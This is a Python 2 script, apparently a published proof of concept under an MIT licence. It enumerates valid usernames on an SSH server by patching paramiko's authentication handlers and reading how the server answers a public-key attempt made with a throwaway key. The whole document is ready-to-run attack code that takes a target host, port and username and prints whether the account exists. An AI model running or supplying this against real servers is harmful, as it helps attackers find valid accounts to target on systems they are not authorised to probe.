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August 16, 2018 12:25
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#!/usr/bin/env python | |
# Copyright (c) 2018 Matthew Daley | |
# | |
# Permission is hereby granted, free of charge, to any person obtaining a copy | |
# of this software and associated documentation files (the "Software"), to | |
# deal in the Software without restriction, including without limitation the | |
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or | |
# sell copies of the Software, and to permit persons to whom the Software is | |
# furnished to do so, subject to the following conditions: | |
# | |
# The above copyright notice and this permission notice shall be included in | |
# all copies or substantial portions of the Software. | |
# | |
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | |
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS | |
# IN THE SOFTWARE. | |
import argparse | |
import logging | |
import paramiko | |
import socket | |
import sys | |
class InvalidUsername(Exception): | |
pass | |
def add_boolean(*args, **kwargs): | |
pass | |
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[ | |
paramiko.common.MSG_SERVICE_ACCEPT] | |
def service_accept(*args, **kwargs): | |
paramiko.message.Message.add_boolean = add_boolean | |
return old_service_accept(*args, **kwargs) | |
def userauth_failure(*args, **kwargs): | |
raise InvalidUsername() | |
paramiko.auth_handler.AuthHandler._handler_table.update({ | |
paramiko.common.MSG_SERVICE_ACCEPT: service_accept, | |
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure | |
}) | |
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) | |
arg_parser = argparse.ArgumentParser() | |
arg_parser.add_argument('hostname', type=str) | |
arg_parser.add_argument('--port', type=int, default=22) | |
arg_parser.add_argument('username', type=str) | |
args = arg_parser.parse_args() | |
sock = socket.socket() | |
try: | |
sock.connect((args.hostname, args.port)) | |
except socket.error: | |
print '[-] Failed to connect' | |
sys.exit(1) | |
transport = paramiko.transport.Transport(sock) | |
try: | |
transport.start_client() | |
except paramiko.ssh_exception.SSHException: | |
print '[-] Failed to negotiate SSH transport' | |
sys.exit(2) | |
try: | |
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048)) | |
except InvalidUsername: | |
print '[*] Invalid username' | |
sys.exit(3) | |
except paramiko.ssh_exception.AuthenticationException: | |
print '[+] Valid username' |
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